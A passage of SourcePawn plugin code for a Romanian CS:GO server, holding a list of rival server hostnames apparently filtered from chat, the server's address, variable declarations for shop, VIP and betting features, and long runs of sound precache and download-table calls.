		"go.charged.ro", "GO.CHARGED.RO", "jb.convicts.ro", "JB.CONVICTS.RO", "retake.csblackdevil.ro", "RETAKE.CSBLACKDEVIL.RO", "zm.csblackdevil.ro",
		"ZM.CSBLACKDEVIL.RO", "go.csblackdevil.ro", "GO.CSBLACKDEVIL.RO", "yey.csblackdevil.ro", "YEY.CSBLACKDEVIL.RO", "vipers.darkevils.ro",
		"VIPERS.CSBLACKDEVIL.RO", "csgo.darkevils.ro", "CSGO.CSBLACKDEVIL.RO", "go.darkone.ro", "GO.DARKONE.RO", "retake.deathrow.ro", "RETAKE.DEATHROW.RO",
		"dm.deathrow.ro", "DM.DEATHROW.RO", "retake2.deathrow.ro", "RETAKE2.DEATHROW.RO", "csgo.defuse.ro", "CSGO.DEFUSE.RO", "jbgo.delegenda.ro", "JBGO.DELEGENDA.RO",
		"awp.diavola.ro", "AWP.DIAVOLA.RO", "csgo.diavola.ro", "CSGO.DIAVOLA.RO", "goarena.diavola.ro", "GOARENA.DIAVOLA.RO", "kronic.districh.ro", "KRONIC.DISTRICH.RO",
		"arena.eleague.ro", "ARENA.ELEAGUE.RO", "go.eleague.ro", "GO.ELEAGUE.RO", "retake.eleague.ro", "RETAKE.ELEAGUE.RO", "kz.eleague.ro", "KZ.ELEAGUE.RO", "awp.eleague.ro",
		"AWP.ELEAGUE.RO", "ffa.eleague.ro", "FFA.ELEAGUE.RO", "go.elitegamers.ro", "GO.ELITEGAMERS.RO", "awp.elitegamers.ro", "AWP.ELITEGAMERS.RO", "arena.eliteroyal.ro",
		"ARENA.ELITEROYAL.RO", "go.eliteroyal.ro", "GO.ELITEROYAL.RO", "energylife.arena.ro", "ENERGYLIFE.ARENA.RO", "go.fairside.ro", "GO.FAIRSIDE.RO", "arena.fairside.ro",
		"ARENA.FAIRSIDE.RO", "awp.fdns.ro", "AWP.FDNS.RO", "timisoara.fhg.ro", "TIMISOARA.FHG.RO", "csgo.fireon.ro", "CSGO.FIREON.RO", "valcea.fireon.ro", "VALCEA.FIREON.RO",
		"awp.fireon.ro", "AWP.FIREON.RO", "awpgo.fireon.ro", "AWPGO.FIREON.RO", "arena.fireon.ro", "ARENA.FIREON.RO", "oldcs.fireon.ro", "OLDCS.FIREON.RO",
		"go.fireon.ro", "GO.FIREON.RO", "gungame.fireon.ro", "GUNGAME.FIREON.RO", "csgo.gazduirejocuri.ro", "CSGO.GAZDUIREJOCURI.RO", "sud.ggez.ro" , "SUD.GGEZ.RO", "jb.ggez.ro",
		"JB.GGEZ.RO", "go.*** Reclama ***", "GO.*** Reclama ***", "hollowgods.ro", "HOLLOWGODS.RO", "awp.indungi.ro", "AWP.INDUNGI.RO", "go.indungi.ro", "GO.INDUNGI.RO",
		"gopro.indungi.ro", "GOPRO.INDUNGI.RO", "goarena.indungi.ro", "GOARENA.INDUNGI.RO", "surf.indungi.ro", "SURF.INDUNGI.RO", "jb.indungi.ro", "JB.INDUNGI.RO",
		"gpsy.indungi.ro", "GPSY.INDUNGI.RO", "awp.infinityzone.ro", "AWP.INFINITYZONE.RO", "deagle.infinityzone.ro", "DEAGLE.INFINITYZONE.RO", "arena.infinityzone.ro",
		"ARENA.INFINITYZONE.RO", "retakes.infinityzone.ro", "RETAKES.INFINITYZONE.RO", "dm.infinityzone.ro", "DM.INFINITYZONE.RO", "surf.infinityzone.ro", "SURF.INFINITYZONE.RO",
		"go.joinet.ro", "GO.JOINET.RO", "go.krimes.ro", "GO.KRIMES.RO", "ciocanii.krimes.ro", "CIOCANII.KRIMES.RO", "acl.krimes.ro", "ACL.KRIMES.RO", "sapphire.krimes.ro", "SAPPHIRE.KRIMES.RO",
		"pro.krimes.ro", "PRO.KRIMES.RO", "moon.krimes.ro", "MOON.KRIMES.RO", "csgo.krimes.ro", "CSGO.KRIMES.RO", "star.krimes.ro", "STAR.KRIMES.RO", "cna.krimes.ro", "CNA.KRIMES.RO",
		"esl.krimes.ro", "ESL.KRIMES.RO", "gold.krimes.ro", "GOLD.KRIMES.RO", "awpgo.krimes.ro", "AWPGO.KRIMES.RO", "bucuresti.laleagane.ro", "BUCURESTI.LALEAGANE.RO", "romania.laleagane.ro",
		"ROMANIA.LALEAGANE.RO", "europa.laleagane.ro", "EUROPA.LALEAGANE.RO", "oradea.laleagane.ro", "ORADEA.LALEAGANE.RO", "CSGO.LALEAGANE.RO", "surf.laleagane.ro", "SURF.LALEAGANE.RO",
		"arena.laleagane.ro", "ARENA.LALEAGANE.RO", "war3.laleagane.ro", "WAR3.LALEAGANE", "gosurf.laleagane.ro", "GOSURF.LALEAGANE.RO", "hns.laleagane.ro", "HNS.LALEAGANE.RO",
		"cluj.laleagane.ro", "CLUJ.LALEAGANE.RO", "awp.laleagane.ro", "AWP.LALEAGANE.RO", "bhop.laleagane.ro", "BHOP.LALEAGANE.RO", "wingman.laleagane.ro", "WINGMAN.LALEAGANE.RO",
		"fury.laleagane.ro", "FURY.LALEAGANE.RO", "giurgiu.laleagane.ro", "GIURGIU.LALEAGANE.RO", "brasov.laleagane.ro", "BRASOV.LALEAGANE.RO", "romania.leaguecs.ro", "ROMANIA.LEAGUECS.RO",
		"go.lunetistii.ro", "GO.LUNETISTII.RO", "go.madness.ro", "GO.MADNESS.RO", "awp.madz.ro", "AWP.MADZ.RO", "arena.madz.ro", "ARENA.MADZ.RO", "jb.madz.ro", "JB.MADZ.RO", "oldcs.madz.ro",
		"OLDCS.MADZ.RO", "arena.multyplay.ro", "ARENA.MULTYPLAY.RO", "go.nephrite.ro", "GO.NEPHRITE.RO", "ffa.newmoon.ro", "FFA.NEWMOON.RO", "arena.1tap.ro", "ARENA.1TAP.RO", "esl.1tap.ro",
		"ESL.1TAP.RO", "oldcs.1tap.ro", "OLDCS.1TAP.RO, jb.1tap.ro", "JB.1TAP.RO", "awp.1tap.ro", "AWP.1TAP.RO", "csgo.1tap.ro", "CSGO.1TAP.RO", "betivii.1tap.ro", "BETIVII.1TAP.RO",
		"rowned.1tap.ro", "ROWNED.1TAP.RO", "ARE.1TAP.RO", "are.1tap.ro", "exploit.1tap.ro", "EXPLOIT.1TAP.RO", "frag.1tap.ro", "FRAG.1TAP.RO", "sniper.1tap.ro", "SNIPER.1TAP.RO",
		"go.1tap.ro", "GO.1TAP.RO", "go.orion.ro", "GO.ORION.RO", "surf.parabestial.ro", "SURF.PARABESTIAL.RO", "csgo.parabestial.ro", "CSGO.PARABESTIAL.RO", "awp.parabestial.ro",
		"AWP.PARABESTIAL.RO", "arena.parabestial.ro", "ARENA.PARABESTIAL.RO", "kz.parabestial.ro", "KZ.PARABESTIAL.RO", "surf2.parabestial.ro", "SURF2.PARABESTIAL.RO",
		"hs.parabestial.ro", "HS.PARABESTIAL.RO", "awp.playarena.ro", "AWP.PLAYARENA.RO", "hnsgo.playarena.ro", "HNSGO.PLAYARENA.RO", "one.playarena.ro", "ONE.PLAYARENA.RO",
		"goarena.playarena.ro", "GOARENA.PLAYARENA.RO", "csgo.playes.ro", "CSGO.PLAYES.RO", "awp.playes.ro", "AWP.PLAYES.RO", "goarena.pubzone.ro", "GOARENA.PUBZONE.RO",
		"dm.pubzone.ro", "DM.PUBZONE.RO", "arenpro.pubzone.ro", "ARENAPRO.PUBZONE.RO", "go.pubzone.ro", "GO.PUBZONE.RO", "brasov.pubzone.ro", "BRASOV.PUBZONE.RO",
		"go.reversed.ro", "GO.REVERSED.RO", "retake.rise-cs.eu", "RETAKE.RISE-CS.EU", "go.skitter.ro", "GO.SKITTER.RO", "go.swift.ro", "GO.SWIFT.RO", "arena.top-gaming.ro",
		"ARENA.TOP-GAMING.RO", "retake.tried.ro", "RETAKE.TRIED.RO", "bucuresti.tried.ro", "BUCURESTI.TRIED.RO", "go.updromania.ro", "GO.UPDROMANIA.RO", "svg.udpromania.ro",
		"SVG.UPDROMANIA.RO", "arena.usp.ro", "ARENA.USP.RO", "hns.usp.ro", "HNS.USP.RO", "old.usp.ro", "OLD.USP.RO", "jb.usp.ro", "JB.USP.RO", "go.usp.ro", "GO.USP.RO", "drgo.usp.ro",
		"DRGO.USP.RO", "oldcs.usp.ro", "OLDCS.USP.RO", "run.usp.ro", "RUN.USP.RO", "surf.usp.ro", "SURF.USP.RO", "bb.usp.ro", "BB.USP.RO", "nexus.usp.ro", "NEXUS.USP.RO", "awp.usp.ro",
		"AWP.USP.RO", "surfx.usp.ro", "SURFX.USP.RO", "goarena.usp.ro", "GOARENA.USP.RO", "play.usp.ro", "PLAY.USP.RO", "comp.usp.ro", "COMP.USP.RO", "zm.usp.ro", "ZM.USP.RO", "arena.wargods.ro",
		"ARENA.WARGODS.RO", "csgo.wargods.ro", "CSGO.WARGODS.RO", "str.watf.ro", "STR.WATF.RO", "arena.winehills.ro", "ARENA.WINEHILLS.RO", "arena.wtfcs.com", "ARENA.WTFCS.COM",
		"www.xtcs.ro", "WWW.XTCS.RO", "arena.zerohp.ro", "ARENA.ZEROHP.RO", "awp.zonek.ro", "AWP.ZONEK.RO", "arena.zonek.ro", "ARENA.ZONEK.RO", "go.zonek.ro", "GO.ZONEK.RO", "war3.zonek.ro",
		"WAR3.ZONEK.RO"
	},
	IP[24] = "89.40.104.245:27015",
	//IP[24] = "89.40.104.237:27015",
	
	sciezka[PLATFORM_MAX_PATH],
	CurrentDate[20];


enum struct PlayerInfo
{
	char steam[64];
	char name[64];
	int time;
}

/* Float */
float 
	g_time;
	
	
Database db;
/* Handle */
Handle 
	g_hSpec_freeze_time, g_hSpec_freeze_traveltime, g_hSpec_freeze_deathanim_time,
	g_PM_Cookie,
	SaySounds_Cookie,
	Dices_Cookie,
	CrediteCache,
	WarnBhopCache,
	VitezaCache,
	BhopShopCache,
	g_hTimer[MAXPLAYERS +1], /* AFK */
	timers[MAXPLAYERS],
	TimerH = INVALID_HANDLE, /* C4 Event. */
	HearSound, /* Anunț NoScope. */
	C4Sound,
	TagTab,
	TagChat,
	MuzicaCookie,
	Weapon_Trie = INVALID_HANDLE,
	BhopCookie,
	TracersCookie,
	g_sDataSKIN_CT,
	g_sDataSkin;
/* int */
int 
	g_clientObserveTarget[MAXPLAYERS+1], g_offObserverTarget,
	RestrictieAWP[MAXPLAYERS+1] = 0,
	BlocareSaySounds[MAXPLAYERS+1] = 0,
	BlocareShopNegev[MAXPLAYERS+1] = 0,
	BlocareShopScar[MAXPLAYERS+1] = 0,
	BlocareShopG3sg1[MAXPLAYERS+1] = 0,
	BlocareShopZeus[MAXPLAYERS+1] = 0,
	BlocareShopSeringa[MAXPLAYERS+1] = 0,
	BlocareShopMedkit[MAXPLAYERS+1] = 0,
	BlocareShopTagGrenade[MAXPLAYERS+1] = 0,
	BlocareShopMapaTagGrenade[MAXPLAYERS+1] = 0,
	BlocareShopScut[MAXPLAYERS+1] = 0,
	stockbounty = 0,
	totalcreditetombola = 0,
	tombolacredite = 0,
	Credite[MAXPLAYERS+1],
	g_iTime[MAXPLAYERS +1], g_iLimit[MAXPLAYERS +1], /* AFK. */
	warn[MAXPLAYERS +1],
	warnbhop[MAXPLAYERS +1],
	VipSpeedShop[MAXPLAYERS+1],
	BhopShop[MAXPLAYERS+1],
	vipdoubleshop[MAXPLAYERS+1],
	SwitchDJ[MAXPLAYERS+1],
	UrmatorulMesaj = 0,
	RoundCountVote = 0,
	NextMessage = 0, /* Mesaje cu informații în chat. */
	TimeLeft = 0, /* C4 Event. */
	g_offsCollisionGroup, 
	MoneyOffset = -1, RoundsPassed = 0, GiveawayCooldown = 3, GiveawayCooldownBounty = 5, /* Sistem VIP. */
	g_iLifeState = -1, g_iAccount = -1, g_iPlayerBetData[MAXPLAYERS + 1][3], /* Pariuri. */
	ConnectTime[MAXPLAYERS + 1];

/* Sunete */
stock void Sunete()
{
	/* Precache Sound */
	PrecacheSound("*xsag/sunete/restrictie.mp3");
	PrecacheSound("*xsag/sunete/explodeaza.mp3");
	PrecacheSound("*xsag/sunete/planteaza.mp3");
	PrecacheSound("*xsag/sunete/dezamorsare.mp3");
	PrecacheSound("*xsag/sunete/noscope.mp3");
	PrecacheSound("*xsag/sunete/killk.mp3");
	PrecacheSound("*xsag/sunete/surprise.mp3");
	PrecacheSound("*xsag/sunete/salut.mp3");
	PrecacheSound("*xsag/sunete/votemap.mp3");
	PrecacheSound("*xsag/sunete/say/6cai.mp3");
	PrecacheSound("*xsag/sunete/say/alovapup.mp3");
	PrecacheSound("*xsag/sunete/say/alupigus.mp3");
	PrecacheSound("*xsag/sunete/say/amuzant.mp3");
	PrecacheSound("*xsag/sunete/say/ardealu.mp3");
	PrecacheSound("*xsag/sunete/say/asa.mp3");
	PrecacheSound("*xsag/sunete/say/asadebine.mp3");
	PrecacheSound("*xsag/sunete/say/ba.mp3");
	PrecacheSound("*xsag/sunete/say/bagameas.mp3");
	PrecacheSound("*xsag/sunete/say/bandit.mp3");
	PrecacheSound("*xsag/sunete/say/bombardier.mp3");
	PrecacheSound("*xsag/sunete/say/bombardierilor.mp3");
	PrecacheSound("*xsag/sunete/say/bomboane.mp3");
	PrecacheSound("*xsag/sunete/say/boschetar.mp3");
	PrecacheSound("*xsag/sunete/say/bou.mp3");
	PrecacheSound("*xsag/sunete/say/bulan.mp3");
	PrecacheSound("*xsag/sunete/say/cai.mp3");
	PrecacheSound("*xsag/sunete/say/capatana.mp3");
	PrecacheSound("*xsag/sunete/say/cf.mp3");
	PrecacheSound("*xsag/sunete/say/cfma.mp3");
	PrecacheSound("*xsag/sunete/say/cfmaa.mp3");
	PrecacheSound("*xsag/sunete/say/ciprian.mp3");
	PrecacheSound("*xsag/sunete/say/cocalari.mp3");
	PrecacheSound("*xsag/sunete/say/da.mp3");
	PrecacheSound("*xsag/sunete/say/daba.mp3");
	PrecacheSound("*xsag/sunete/say/dautare.mp3");
	PrecacheSound("*xsag/sunete/say/deci2cai.mp3");
	PrecacheSound("*xsag/sunete/say/distractie.mp3");
	PrecacheSound("*xsag/sunete/say/dracu.mp3");
	PrecacheSound("*xsag/sunete/say/estbat.mp3");
	PrecacheSound("*xsag/sunete/say/extraordinar.mp3");
	PrecacheSound("*xsag/sunete/say/fammea.mp3");
	PrecacheSound("*xsag/sunete/say/fiiprofesionist.mp3");
	PrecacheSound("*xsag/sunete/say/fraier.mp3");
	PrecacheSound("*xsag/sunete/say/frumosi.mp3");
	PrecacheSound("*xsag/sunete/say/glumite.mp3");
	PrecacheSound("*xsag/sunete/say/hahaha.mp3");
	PrecacheSound("*xsag/sunete/say/hai.mp3");
	PrecacheSound("*xsag/sunete/say/haide.mp3");
	PrecacheSound("*xsag/sunete/say/hau.mp3");
	PrecacheSound("*xsag/sunete/say/imiieikaru.mp3");
	PrecacheSound("*xsag/sunete/say/incapabili.mp3");
	PrecacheSound("*xsag/sunete/say/insange.mp3");
	PrecacheSound("*xsag/sunete/say/jar.mp3");
	PrecacheSound("*xsag/sunete/say/lamoe.mp3");
	PrecacheSound("*xsag/sunete/say/magarule.mp3");
	PrecacheSound("*xsag/sunete/say/mananci.mp3");
	PrecacheSound("*xsag/sunete/say/martafoi.mp3");
	PrecacheSound("*xsag/sunete/say/miadat.mp3");
	PrecacheSound("*xsag/sunete/say/mota.mp3");
	PrecacheSound("*xsag/sunete/say/nesuferit.mp3");
	PrecacheSound("*xsag/sunete/say/nicu.mp3");
	PrecacheSound("*xsag/sunete/say/nu stiu.mp3");
	PrecacheSound("*xsag/sunete/say/osperiat.mp3");
	PrecacheSound("*xsag/sunete/say/panicat.mp3");
	PrecacheSound("*xsag/sunete/say/pff.mp3");
	PrecacheSound("*xsag/sunete/say/ptuuu.mp3");
	PrecacheSound("*xsag/sunete/say/rachiu.mp3");
	PrecacheSound("*xsag/sunete/say/rom.mp3");
	PrecacheSound("*xsag/sunete/say/samoara.mp3");
	PrecacheSound("*xsag/sunete/say/sarba.mp3");
	PrecacheSound("*xsag/sunete/say/sarpele.mp3");
	PrecacheSound("*xsag/sunete/say/soldati.mp3");
	PrecacheSound("*xsag/sunete/say/speis.mp3");
	PrecacheSound("*xsag/sunete/say/taci.mp3");
	PrecacheSound("*xsag/sunete/say/tacima.mp3");
	PrecacheSound("*xsag/sunete/say/tacivei.mp3");
	PrecacheSound("*xsag/sunete/say/tactu.mp3");
	PrecacheSound("*xsag/sunete/say/taticul.mp3");
	PrecacheSound("*xsag/sunete/say/tedrk.mp3");
	PrecacheSound("*xsag/sunete/say/tetai.mp3");
	PrecacheSound("*xsag/sunete/say/vaiubesc.mp3");
	PrecacheSound("*xsag/sunete/say/viteza.mp3");
	PrecacheSound("*xsag/sunete/say/wtf.mp3");
	PrecacheSound("*xsag/sunete/say/impuscat.mp3");
	PrecacheSound("*xsag/sunete/say/bogdan101.mp3");
	PrecacheSound("*xsag/sunete/say/1aprilie.mp3");
	PrecacheSound("*xsag/sunete/say/craiova.mp3");
	PrecacheSound("*xsag/sunete/say/suntvip.mp3");
	PrecacheSound("*xsag/sunete/say/panda.mp3");
	PrecacheSound("*xsag/sunete/say/becali.mp3");
	PrecacheSound("*xsag/sunete/say/bumbumbum.mp3");
	PrecacheSound("*xsag/sunete/say/tefxx.mp3");
	PrecacheSound("*xsag/sunete/say/jamesbond.mp3");
	PrecacheSound("*xsag/sunete/say/negro.mp3");
	PrecacheSound("*xsag/sunete/say/golani.mp3");
	PrecacheSound("*xsag/sunete/say/gica.mp3");
	PrecacheSound("*xsag/sunete/say/chishen.mp3");
	PrecacheSound("*xsag/sunete/say/careestima.mp3");
	PrecacheSound("*xsag/sunete/say/demaine.mp3");
	PrecacheSound("*xsag/sunete/say/vadim.mp3");
	PrecacheSound("*xsag/sunete/say/gaben.mp3");
	PrecacheSound("*xsag/sunete/say/guralui.mp3");
	PrecacheSound("*xsag/sunete/say/gurata.mp3");
	PrecacheSound("*xsag/sunete/say/mai.mp3");
	PrecacheSound("*xsag/sunete/say/burcea.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag1.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag2.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag3.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag4.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag5.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag6.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag7.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag8.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag9.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag10.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag11.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag12.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag13.mp3");
	PrecacheSound("*xsag/sunete/autogag/autogag14.mp3");
	PrecacheSound("*xsag/sunete/muzica/1.mp3");
	PrecacheSound("*xsag/sunete/muzica/2.mp3");
	PrecacheSound("*xsag/sunete/muzica/3.mp3");
	PrecacheSound("*xsag/sunete/muzica/4.mp3");
	PrecacheSound("*xsag/sunete/muzica/5.mp3");
	PrecacheSound("*xsag/sunete/muzica/6.mp3");
	PrecacheSound("*xsag/sunete/muzica/7.mp3");
	PrecacheSound("*xsag/sunete/muzica/8.mp3");
	PrecacheSound("*xsag/sunete/muzica/9.mp3");
	PrecacheSound("*xsag/sunete/muzica/10.mp3");
	PrecacheSound("*xsag/sunete/muzica/11.mp3");
	PrecacheSound("*xsag/sunete/muzica/12.mp3");
	PrecacheSound("*xsag/sunete/muzica/13.mp3");
	PrecacheSound("*xsag/sunete/muzica/14.mp3");
	PrecacheSound("*xsag/sunete/muzica/15.mp3");
	PrecacheSound("*xsag/sunete/muzica/16.mp3");
	PrecacheSound("*xsag/sunete/muzica/17.mp3");
	PrecacheSound("*xsag/sunete/muzica/18.mp3");
	PrecacheSound("*xsag/sunete/muzica/19.mp3");
	PrecacheSound("*xsag/sunete/muzica/20.mp3");
	PrecacheSound("*xsag/sunete/muzica/21.mp3");
	PrecacheSound("*xsag/sunete/muzica/23.mp3");
	PrecacheSound("*xsag/sunete/muzica/24.mp3");
	PrecacheSound("*xsag/sunete/muzica/25.mp3");
	PrecacheSound("*xsag/sunete/muzica/26.mp3");
	PrecacheSound("*xsag/sunete/muzica/27.mp3");
	PrecacheSound("*xsag/sunete/muzica/28.mp3");
	PrecacheSound("*xsag/sunete/muzica/29.mp3");
	PrecacheSound("*xsag/sunete/muzica/30.mp3");
	PrecacheSound("*xsag/sunete/muzica/31.mp3");
	PrecacheSound("*xsag/sunete/muzica/32.mp3");
	
	
	/* Download Sound */
	AddFileToDownloadsTable("sound/xsag/sunete/restrictie.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/explodeaza.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/planteaza.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/dezamorsare.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/noscope.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/killk.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/surprise.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/salut.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/votemap.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/6cai.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/alovapup.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/alupigus.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/amuzant.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/ardealu.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/asa.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/asadebine.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/ba.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/bagameas.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/bandit.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/bombardier.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/bombardierilor.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/bomboane.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/boschetar.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/bou.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/bulan.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/cai.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/capatana.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/cf.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/cfma.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/cfmaa.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/ciprian.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/cocalari.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/da.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/daba.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/dautare.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/deci2cai.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/distractie.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/dracu.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/estbat.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/extraordinar.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/fammea.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/fiiprofesionist.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/fraier.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/frumosi.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/glumite.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/hahaha.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/hai.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/haide.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/hau.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/imiieikaru.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/incapabili.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/insange.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/jar.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/lamoe.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/magarule.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/mananci.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/martafoi.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/miadat.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/mota.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/nesuferit.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/nicu.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/nu stiu.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/osperiat.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/panicat.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/pff.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/ptuuu.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/rachiu.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/rom.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/samoara.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/sarba.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/sarpele.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/soldati.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/speis.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/taci.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/tacima.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/tacivei.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/tactu.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/taticul.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/tedrk.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/tetai.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/vaiubesc.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/viteza.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/wtf.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/impuscat.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/bogdan101.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/1aprilie.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/craiova.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/suntvip.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/panda.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/becali.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/bumbumbum.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/tefxx.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/jamesbond.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/negro.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/golani.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/careestima.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/demaine.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/vadim.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/chishen.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/gica.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/gaben.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/guralui.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/gurata.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/mai.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/say/burcea.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag1.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag2.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag3.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag4.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag5.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag6.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag7.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag8.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag9.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag10.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag11.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag12.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag13.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/autogag/autogag14.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/1.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/2.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/3.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/4.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/5.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/6.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/7.mp3");
	AddFileToDownloadsTable("sound/xsag/sunete/muzica/8.mp3");
